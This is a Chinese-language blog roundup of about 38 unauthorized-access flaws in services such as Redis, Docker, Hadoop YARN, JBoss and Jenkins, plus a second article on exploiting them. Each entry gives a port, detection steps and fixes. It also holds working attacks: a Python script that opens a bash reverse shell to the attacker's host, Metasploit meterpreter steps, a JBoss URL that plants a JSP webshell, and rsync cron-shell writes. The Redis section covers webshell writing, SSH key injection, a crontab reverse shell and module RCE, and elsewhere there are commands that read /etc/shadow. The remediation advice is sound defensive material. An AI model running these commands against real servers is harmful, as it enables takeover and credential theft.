常见未授权访问漏洞汇总
Posted hkgan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了常见未授权访问漏洞汇总相关的知识,希望对你有一定的参考价值。
本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!!!
本文导读:
-
本文覆盖了目前网络资讯上公布的30+种未授权访问漏洞
-
本文把未授权访问漏洞按照默认端口顺序从小到大排列,对于默认端口可进行批量端口探测服务,再进一步进行漏洞检测,逻辑清晰,方便学者学习和漏洞复现。
-
本文涵盖漏洞描述、漏洞检测和漏洞修复建议为一体,深层次利用不在本文,可自行网上搜索。
未授权访问漏洞介绍
未授权访问漏洞是一个在企业内部非常常见的问题,未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。
演示环境搭建:
使用vulhub搭建漏洞演示环境
参考:https://vulhub.org/#/docs/install-docker/
未授权访问漏洞汇总预览
1 、FTP 未授权访问(21)
2 、LDAP 未授权访问(389)
3 、Rsync 未授权访问(873)
4 、ZooKeeper 未授权访问(2181)
5 、Docker 未授权访问(2375)
6 、Docker Registry未授权(5000)
7 、Kibana 未授权访问(5601)
8 、VNC 未授权访问(5900、5901)
9 、CouchDB 未授权访问(5984)
10 、Apache Spark 未授权访问(6066、8081、8082)
11 、Redis 未授权访问(6379)
12 、Weblogic 未授权访问(7001)
13 、HadoopYARN 未授权访问(8088)
14 、JBoss 未授权访问(8080)
15 、Jenkins 未授权访问(8080)
16 、Kubernetes Api Server 未授权(8080、10250)
17 、Active MQ 未授权访问(8161)
18 、Jupyter Notebook 未授权访问(8888)
19 、Elasticsearch 未授权访问(9200、9300)
20 、Zabbix 未授权访问(10051)
21 、Memcached 未授权访问(11211)
22 、RabbitMQ 未授权访问(15672、15692、25672)
23 、MongoDB 未授权访问(27017)
24 、NFS 未授权访问(2049、20048)
25 、Dubbo 未授权访问(28096)
26 、Druid 未授权访问
27 、Solr 未授权访问
28 、SpringBoot Actuator 未授权访问
29 、SwaggerUI未授权访问漏洞
30 、Harbor未授权添加管理员漏洞
31 、Windows ipc共享未授权访问漏洞
32 、宝塔phpmyadmin未授权访问
33 、WordPress未授权访问漏洞
34 、Atlassian Crowd 未授权访问
35 、PHP-FPM Fastcgi未授权访问漏洞
36 、uWSGI未授权访问漏洞
37 、Kong未授权访问漏洞(CVE-2020-11710)
38 、ThinkAdminV6未授权访问漏洞
1. FTP 未授权访问(21)
漏洞简介
FTP 弱口令或匿名登录漏洞,一般指使用 FTP 的用户启用了匿名登录功能,或系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等,容易被黑客攻击,发生恶意文件上传或更严重的入侵行为。
漏洞检测
1、端口扫描
2、直接访问ftp路径:ftp://ip:port/
漏洞修复
-
禁止匿名登录;
-
配置强密码,密码长度建议八位以上,且密码应包括大小写字母、特殊字符、数字混合体;
2. LDAP 未授权访问(389)
漏洞简介
LDAP中文全称为:轻型目录访问协议(Lightweight Directory Access Protocol),默认使用389, LDAP 底层一般使用 TCP 或 UDP 作为传输协议。目录服务是一个特殊的数据库,是一种以树状结构的目录数据库为基础。未对LDAP的访问进行密码验证,导致未授权访问。
漏洞检测
1、端口扫描
2、使用nmap寻找到相关的LDAP服务器,可以使用ldapbrowser工具(下载:https://ldapbrowserwindows.com/)直接连接,获取目录内容。
漏洞修复
-
修改ldap的acl,禁止匿名访问。
-
根据业务设置ldap访问白名单或黑名单;
3. Rsync 未授权访问(873)
漏洞简介
rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。
漏洞检测
1、端口扫描
2、root@kali使用Rsync命令即可进行检测。
rsync rsync://192.168.126.130:873/
rsync rsync://192.168.126.130:873/src
利用rsync下载任意文件
rsync rsync://192.168.126.130:873/src/
etc/passwd ./
或者写入任意文件
rsync -av shell rsync://192.168.126.130:873/src/etc/cron.d/shell
漏洞修复
-
隐藏掉 module 信息:修改配置文件 list =false。
-
权限控制:不需要写入权限的 module 的设置为只读 Read only = true;
-
网络访问控制:使用安全组策略或白名单限制,只允许必要访问的主机访问;
-
账户认证:只允许指定的用户利用指定的密码使用 rsync 服务;
-
数据加密传输:Rsync 默认没有直接支持加密传输,如果需要 Rsync 同步重要性很高的数据,可以使用 ssh;
-
参考文章:https://www.freebuf.com/column/202771.html
4. ZooKeeper 未授权访问(2181)
漏洞简介
ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务,ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境,任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。
漏洞检测
1、端口扫描
2、漏洞复现
执行root@kali:~# echo envi|nc 192.168.131.128 2181
获取服务器环境信息:
root@kali:~# echo stat |nc 192.168.131.128 2181
漏洞修复
-
为ZooKeeper配置相应的访问权限;
-
设置防火墙策略;
-
禁止把Zookeeper直接暴露在公网;
5. Docker 未授权访问(2375)
漏洞简介
该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。
漏洞检测
-
端口扫描
-
直接输入地址
http://your-ip:2375/version
。若能访问,证明存在未授权访问漏洞。
漏洞修复
-
对2375端口做网络访问控制,如ACL控制,或者访问规则;
-
修改docker swarm的认证方式,使用TLS认证;
6. Docker Registry未授权(5000)
默认5000端口,docker remote api可以执行docker命令,该接口是目的是取代docker 命令界面,通过url操作docker。
漏洞检测:
1、端口扫描
2、http://10.101.20.43:5000/v2
http://10.101.20.43:5000/v2/_catalog
安全建议
1、设置ACL,只允许信任ip连接对应端口
2、开启TLS,使用生成的证书进行认证
7. Kibana 未授权访问(5601)
漏洞简介
Kibana如果允许外网访问,没有做安全的登录认证,也会被外部随意访问查看所有的数据,造成少数据泄露。
漏洞检测
1、端口扫描
2、直接访问kibana的页面
http://192.168.126.130:5601/
https://192.168.126.130/app/kibana#
http://192.168.126.130:5601/app/kibana#/
无需账号密码可以登录进入界面
漏洞修复
-
设置kibana监听本地地址,并设置ElasticSearch登录的账号和密码;
-
设置防火墙策略,限定IP访问服务;
8. VNC 未授权访问(5900、5901)
漏洞简介
VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。
VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。
漏洞检测
1、端口扫描
2、使用 VNC 客户端连接主机
VNC-Viewer工具下载(https://www.realvnc.com/en/connect/download/viewer/windows/)
安装过程,双击msi文件一路下一步就可以了。
在 VNC 客户端输入目标服务器IP,之后点击确定、连接,即可成功控制目标服务器
漏洞修复
-
配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码;
-
以最小权限的普通用户身份运行操作系统;
9. CouchDB 未授权访问(5984)
漏洞简介
Apache CouchDB 是一个开源数据库,默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。
在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。
漏洞检测
1、端口扫描
2、未授权访问kali测试命令
curl 192.168.126.130:5984
curl 192.168.126.130:5984/_config
漏洞修复
- 指定CouchDB绑定的IP (需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。
- 设置访问密码(需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。
- 设置WWW-Authenticate,强制认证。
10. Apache Spark 未授权访问(6066、8081、8082)
漏洞简介
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。
漏洞检测
nmap扫描出如下端口开放,则很有可能存在漏洞
使用msf工具getshell
msf5>use exploit/linux/http/spark_unauth_rce
msf5>set payload java/meterpreter/reverse_tcp
msf5>set rhost 192.168.100.2
msf5>set rport 6066
msf5>set lhost 192.168.100.1
msf5>set lport 4444
msf5>set srvhost 192.168.100.1
msf5>set srvport 8080
msf5>exploit
漏洞修复
-
对外关闭敏感端口;
-
配置用户权限认证;
参考文章:https://www.cnblogs.com/KevinGeorge/p/10399844.html
11. Redis 未授权访问(6379)
漏洞简介
redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞检测
-
端口扫描
-
Kali连接主机
(1)kali安装redis-cli远程连接工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/
redis-cli -h
(2)使用redis-cli命令直接远程免密登录redis主机
redis-cli -h 目标主机IP
(3)尝试keys * 命令,若存在以下页面,则存在漏洞
(4)进一步利用
利用redis 可视化工具Another Redis Desktop Manager
漏洞修复
到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
修改 redis.conf 文件,添加
requirepass mypasswd
3、在需要对外开放的时候修改默认端口(端口不重复就可以)
port 2344
4、以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
5、最后还可以配合iptables限制开放
12. Weblogic 未授权访问(7001)
漏洞简介
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台。
CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
漏洞检测
1、端口扫描
2、使用vulhub搭建漏洞演示环境
cd vulhub/weblogic/CVE-2020-14882
sudo docker-compose up –d
攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:
http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。
漏洞修复
-
下载补丁程序并安装更新;
13. HadoopYARN 未授权访问(8088)
漏洞简介
Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的MapReduce算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。
此次事件主要因HadoopYARN资源管理系统配置不当,导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过RESTAPI部署任务来执行任意指令,最终完全控制服务器。
漏洞检测
1、端口扫描
2、使用vulhub搭建漏洞演示环境
cd /vulhub/hadoop/unauthorized-yarn
docker-compose up -d
3、环境启动后,没有配置身份认证,可以未授权访问到Hadoop YARN ResourceManager WebUI页面。
http://192.168.126.130:8088/
http://192.168.126.130:8088/cluster
利用该漏洞,可以进一步getshell
脚本源码如下:rce.py
#!/usr/bin/env python
import requests
target = \'http://192.168.126.130:8088/\' # 设置目标主机的ip地址
lhost = \'192.168.126.128\' # 设置你攻击主机的监听ip地址,并且监听端口为9999
url = target + \'ws/v1/cluster/apps/new-application\'
resp = requests.post(url)
app_id = resp.json()[\'application-id\']
url = target + \'ws/v1/cluster/apps\'
data =
\'application-id\': app_id,
\'application-name\': \'get-shell\',
\'am-container-spec\':
\'commands\':
\'command\': \'/bin/bash -i >& /dev/tcp/%s/9999 0>&1\' % lhost,
,
,
\'application-type\': \'YARN\',
requests.post(url, json=data)
漏洞修复
-
升级Hadoop到x版本以上,并启用Kerberos认证功能,禁止匿名访问;
-
设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口;
-
如无必要,关闭 Hadoop Web 管理页面;
14. JBoss 未授权访问(8080)
漏洞简介
漏洞简述JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/jmx-console,就可以浏览 Jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
漏洞检测
1、端口扫描
2、直接访问 http://ip:port/
,看是否能进入 jmx-console
和 web-console
页面
http://ip:8080/
http://ip:8080/jmx-console/
http://ip:8080/jbossws/
漏洞修复
-
添加 JMX 控制页面身份认证;
-
进行JMX Console 安全配置;
-
关闭jmx-console和web-console;
15. Jenkins 未授权访问(8080)
漏洞简介
默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。
漏洞检测
1、端口扫描
2、直接通过url输入以下地址,若能访问,证明存在未授权访问漏洞。
http://<target>:8080/manage
http://<target>:8080/script
未授权访问 http://<target>:8080/script
,可以执行系统命令
# 命令格式
println \'whoami\'.execute().text
漏洞修复
-
对后台控制页面做登录验证限制;
-
升级Jenkins至新版本;
-
禁止把Jenkins直接暴露在公网;
16. Kubernetes Api Server 未授权(8080、10250)
漏洞简介
Kubernetes 的服务在正常启动后会开启两个端口:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端口都是提供 Api Server 服务的,一个可以直接通过 Web 访问,另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限,那么攻击者就可以通过这两个接口去获取容器的权限。
漏洞检测
1、端口扫描
使用nmap寻找相关的端口和服务,直接访问脆弱的服务
2、检测
(1)端口:8080
http://10.10.4.89:8080/
(2)端口:8080:api dashboard:http://10.10.4.89:8080/ui
(3)端口:10250端口
是kubelet API的HTTPS端口,通过路径:https://xxx/10250/pods
获取环境变量、运行的容器信息、命名空间等信息。
漏洞修复
-
进行授权认证;
-
使用Service Account令牌;
-
设置防火墙策略,限定IP访问服务;
17. Active MQ 未授权访问(8161)
漏洞简介
ActiveMQ 是一款流行的开源消息服务器。默认情况下,ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。
漏洞检测
默认端口:8161
默认密码:admin/admin
漏洞修复
- 针对未授权访问,可修改
conf/jetty.xml
文件,bean id为securityConstraint下的authenticate修改值为true
,重启服务即可。 - 针对弱口令,可修改
conf/jetty.xml
文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可。
18. Jupyter Notebook 未授权访问(8888)
漏洞简介
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
漏洞检测
1、使用vulhub搭建漏洞演示环境
cd /vulhub/jupyter/notebook-rce
docker-compose up -d
2、端口扫描
3、访问http://your-ip:8888
,将看到Jupyter Notebook的Web管理界面,并没有要求填写密码。
选择 new -> terminal 即可创建一个控制台:
直接执行任意命令:
漏洞修复
-
开启身份验证,防止未经授权用户访问;
-
访问控制策略,限制IP访问,绑定固定IP;
19. Elasticsearch 未授权访问(9200、9300)
漏洞简介
Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析,启动此服务默认会开放9200端口或者9300端口,可被非法操作数据。
漏洞检测
1、端口扫描
2、浏览器访问测试命令
http://localhost:9200
http://localhost:9200/_cat/
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search //查看数据库敏感信息
http://localhost:9200/_nodes //查看节点数据
如有安装head插件:
http://localhost:9200/_plugin/head/ //web管理界面
漏洞修复
-
访问控制策略,限制IP访问,绑定固定IP;
-
在config/elasticsearch.yml中为9200端口设置认证等;
20. Zabbix 未授权访问(10051)
漏洞简介
zabbix是一款服务器监控软件,默认服务开放端口为10051,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
漏洞检测
1、端口扫描
2、无需账户密码直接访问zabbix页面
漏洞修复
-
设置zabbix的复杂口令,不要用默认口令或弱口令,禁用guest登录功能;
-
zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;
-
禁止agent执行run,不要设置EnableRemoteCommands=1;
21. Memcached 未授权访问(11211)
漏洞简介
Memcached 端口对外开放并且没有配置认证选项,未授权用户可直接获取数据库中所有信息,造成严重的信息泄露。
漏洞检测
1、端口扫描
2、无需用户名密码,可以直接连接memcache 服务的11211端口
telnet 10.10.4.89 11211
# 或者
nc -vv 11211
telnet 192.168.96.128 11211
使用了 stats 命令来输出 Memcached 服务信息
nc -vv 192.168.96.128 11211
漏洞修复
-
修改绑定的IP、端口和指定访问者IP;
-
设置防火墙策略;
-
禁止暴露在公网;
-
配置memcached监听本地回环地址
-
127.0.0.1;
22. RabbitMQ 未授权访问(15672、15692、25672)
漏洞简介
RabbitMQ是目前非常热门的一款消息中间件,基于AMQP协议的,可以在发布者和使用者之间交换异步消息。消息可以是人类可读的JSON,简单字符串或可以转换为JSON字符串的值列表。
漏洞检测
1、端口扫描
2、浏览器访问测试
默认账号密码都是guest
http://10.10.4.89:15672
http://10.10.4.89:15692
http://10.10.4.89:25672
漏洞修复
-
修改为强密码,删除默认的账号guest;
-
禁止对外网开放,仅限于内部访问;
23. MongoDB 未授权访问(27017)
漏洞简介
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。
造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 –auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。
漏洞检测
1、端口扫描
2、kali安装mongodb,然后直接连接到服务。
yum install mongodb
mongo --host 10.2.20.34 --port 27017
漏洞修复
-
限制绑定IP,启动时加入参数--bind_ip 127.0.0.1或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1;
-
在system.users中添加用户,启动认证;
-
设置防火墙策略,限定 IP 访问服务;
-
禁用HTTP和REST端口,修改配置文件或在启动的时候选择参数nohttpinterface=false;
24. NFS 未授权访问(2049、20048)
漏洞简介
Network File System(NFS),是由SUN公司研制的UNIX表示层协议(pressentation layer protocol),能使使用者访问网络上别处的文件就像在使用自己的计算机一样。服务器在启用nfs服务以后,由于nfs服务未限制对外访问,导致共享目录泄漏。
漏洞检测
1、端口扫描
2、
#linux安装nfs客户端
apt install nfs-common
#查看nfs服务器上的共享目录
showmount -e 192.168.126.130
#挂载相应共享目录到本地
mount -t nfs 192.168.126.130:/grdata /mnt
#卸载目录
umount /mnt
漏洞修复
-
利用iptables限制端口
2049
和20048
端口的访问,禁止外部访问
; -
设置
/etc/exports
,对访问进行控制;
25. Dubbo 未授权访问(28096)
漏洞简介
Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。
漏洞检测
1、端口扫描
2、连接进入dubbo 服务,进行操作
telent IP port
漏洞修复
-
配置dubbo认证;
-
设置防火墙策略,限定IP访问;
26. Druid 未授权访问
漏洞简介
Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。
漏洞检测
直接在网站的url中后加上:
/druid/index.html
/druid/websession.html
/druid/datasource.html
/druid/sql.html
/druid/spring.html
如果可以无需登录,即可登录到Druid监控界面,则说明该网站存在Druid未授权访问漏洞
漏洞修复
-
配置访问账号密码;
-
禁止对外网开放访问;
27. Solr 未授权访问
漏洞简介
Solr是一个高性能,采用Java开发,基于Lucene的全文搜索服务器。solr的管理界面通常包含如下信息:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。solr未授权访问的危害很大,轻则可查询所有数据库信息,重则可读取系统任意文件,甚至getshell。
漏洞检测
敏感目录扫描时加上一条 /solr/admin
http://xx.xx.com/solr/admin
https://xx.xx.com/solr/admin
漏洞修复
-
配置solr访问控制权限;
-
禁止将solr暴露在公网;
28. SpringBoot Actuator 未授权访问
漏洞简介
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。
漏洞检测
1、直接访问相关路径:
http://10.2.20.48/actuator/autoconfig
http://10.2.20.48 /actuator/env
http://10.2.20.48/actuator/dump
http://10.2.20.48/actuator/headdump
可下载
2、actuator未直接部署在IP根目录下
使用burpsuite的插件:APIKit
介绍:https://www.bilibili.com/read/cv15912732
介绍:https://blog.csdn.net/qq_50854790/article/details/122894291
漏洞修复
-
禁用/env接口
; -
升级到SpringBoot Actuator 2.0;
-
禁止
对外开放;
29. SwaggerUI未授权访问漏洞
背景
Swagger 是一个规范且完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。
漏洞检测
1、可利用未授权访问漏洞,直接访问以下链接:
漏洞检测
1、可利用未授权访问漏洞,直接访问以下链接(目录遍历)
2、swagger-ui未直接部署在IP根目录下
使用burpsuite的插件:APIKit
介绍:https://www.bilibili.com/read/cv15912732
介绍:https://blog.csdn.net/qq_50854790/article/details/122894291
修复方法
- 设置访问权限
30. Harbor未授权添加管理员漏洞
Harbor未授权添加任意管理员漏洞。攻击者可通过构造特定的字符串,在未授权的情况下直接创建管理员账号,从而接管Harbor镜像仓库。
漏洞地址:http://10.101.20.111/harbor/sign-in
成功添加用户,账号coco密码coco1234
成功接管harbor镜像仓库
安全建议
尽快升级到安全版本,下载链接参考:
https://github.com/goharbor/harbor/releases
31. Windows ipc共享未授权访问漏洞
32. 宝塔phpmyadmin未授权访问
漏洞简介
宝塔Linux面板7.4.2版本
和Windows面板6.8版本
存在phpmyadmin未授权访问漏洞
phpmyadmin未鉴权,可通过特定地址直接登录数据库的漏洞。
漏洞检测
1、目录扫描:/pma
或者 /phpmyadmin
2、漏洞URL:http://ip:888/pma
即可直接登录(但要求必须安装了phpmyadmin)
漏洞修复
更新宝塔phpmyadmin为最新版本
33. WordPress未授权访问漏洞
漏洞复现
可参考:https://www.cnblogs.com/bflw/p/12342845.html
34. Atlassian Crowd 未授权访问
漏洞简介
Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。
Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。
漏洞检测
漏洞利用脚本github地址:https://github.com/jas502n/CVE-2019-11580
git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
python CVE-2019-11580.py http://192.168.18.138:8095
curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow
漏洞修复
- 设置访问/crowd/admin/uploadplugin.action的源ip。
- 升级最新版本(3.5.0以上)。
35. PHP-FPM Fastcgi未授权访问漏洞
详情请见:https://www.freebuf.com/articles/web/278245.html(第25条)
36. uWSGI未授权访问漏洞
详情请见:https://www.freebuf.com/articles/web/278245.html (第27条)
37. Kong未授权访问漏洞(CVE-2020-11710)
环境部署
略。
漏洞复现
复现可参考https://xz.aliyun.com/t/7631
38. ThinkAdminV6未授权访问漏洞
环境部署
略。
漏洞复现
可参考https://www.cnblogs.com/cn-gov/p/13715861.html
【归纳补充】
补充:批量检测漏洞思路(史上最经典)
-
批量探测默认端口
-
对于拼接字符串检测的未授权漏洞,使用自定义字典进行批量目录扫描,查看状态码。对于正常响应的,可以批量进行浏览器访问测试(工具:http://www.ab173.com/zhanzhang/openurls.php)
【参考文章】
1、二十九种未授权访问漏洞合集,真的很全面
https://www.sohu.com/a/551258460_121349997
2、超全面未授权访问漏洞复现合集 (含:测试环境部署 和 进一步漏洞利用)
https://www.freebuf.com/articles/web/278245.html
3、常用的30+种未授权访问漏洞汇总
https://mp.weixin.qq.com/s/r2OafWfNxAQgH1z7pKdX3A
常见未授权访问漏洞总结
本文详细地介绍了常见未授权访问漏洞及其利用,具体漏洞列表如下:
-
Jboss 未授权访问
-
Jenkins 未授权访问
-
ldap未授权访问
-
Redis未授权访问
-
elasticsearch未授权访问
-
MenCache未授权访问
-
Mongodb未授权访问
-
Rsync未授权访问
-
Zookeeper未授权访问
-
Docker未授权访问
1、Jboss未授权访问
漏洞原因:
在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。
漏洞利用:
1、写入一句话木马:
http://127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
2、写入1.txt文件
http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=hello world!
3、访问1.txt文件
http://127.0.0.1:8080/August/1.txt
检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。
修复建议:关闭jmx-console和web-console,提高安全性。
2、Jenkins 未授权访问
漏洞原因:未设置密码,导致未授权访问。
漏洞测试:直接通过url访问
http://<target>:8080/manage http://<target>:8080/script
修复建议:设置强口令密码。
3、ldap未授权访问
漏洞原因:没有对Ldap进行密码验证,导致未授权访问。
检测脚本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ from ldap3 import Connection,Server,ALL def ldap_anonymous(ip): try: server = Server(ip,get_info=ALL,connect_timeout=1) conn = Connection(server, auto_bind=True) print "[+] ldap login for anonymous" conn.closed except: #pass print ‘[-] checking for ldap anonymous fail‘
利用工具:使用LdapBrowser直接连入,获取敏感信息。
修复建议:增加强密码验证。
4、Redis未授权访问
漏洞利用:
姿势一:绝对路径写webshell
我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:
config set dir /home/wwwroot/default/ config set dbfilename redis.php set webshell "<?php phpinfo(); ?>" save
姿势二:公私钥认证获取root权限
1、ssh免密码配置
ssh-keygen -t rsa -P ‘‘ #生成公钥/私钥对 cd /root/.ssh/ (echo -e " "; cat id_rsa.pub; echo -e " ") > foo.txt #将公钥写入 foo.txt 文件 连接 Redis 写入文件
2、连接Redis写入文件
cat foo.txt | ./redis-cli -h 192.168.125.140 -x set crackit ./redis-cli -h 192.168.125.140 config set dir /root/.ssh/ config get dir config set dbfilename "authorized_keys" save
利用私钥成功登录redis服务器
姿势三:利用contrab计划任务反弹shell
config set dir /var/spool/cron/crontabs/ config set dbfilename root flushall set test "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211:1234 0>&1" save
姿势四:主从复制RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
通过脚本实现一键自动化getshell:
1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/ make
2、攻击端执行:python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cp ../RedisModules-ExecuteCommand/src/module.so ./ pip install -r requirements.txt python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so
5、Elasticsearch未授权访问
漏洞原因:Elasticsearch 默认端口为9200 ,攻击者可以直接访问http://ip:port。
检测脚本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests def Elasticsearch_check(ip, port=9200, timeout=5): try: url = "http://"+ip+":"+str(port)+"/_cat" response = requests.get(url) except: pass if "/_cat/master" in response.content: print ‘[+] Elasticsearch Unauthorized: ‘ +ip+‘:‘+str(port)
漏洞测试:
http://localhost:9200/_cat/indices http://localhost:9200/_river/_search 查看数据库敏感信息 http://localhost:9200/_nodes 查看节点数据 如有安装head插件: http://localhost:9200/_plugin/head/ web管理界面
修复建议:
1、限制IP访问,绑定固定IP
2、在config/elasticsearch.yml中为9200端口设置认证:
http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
6、MenCache未授权访问
漏洞原因:Memcached 分布式缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
检测脚本:
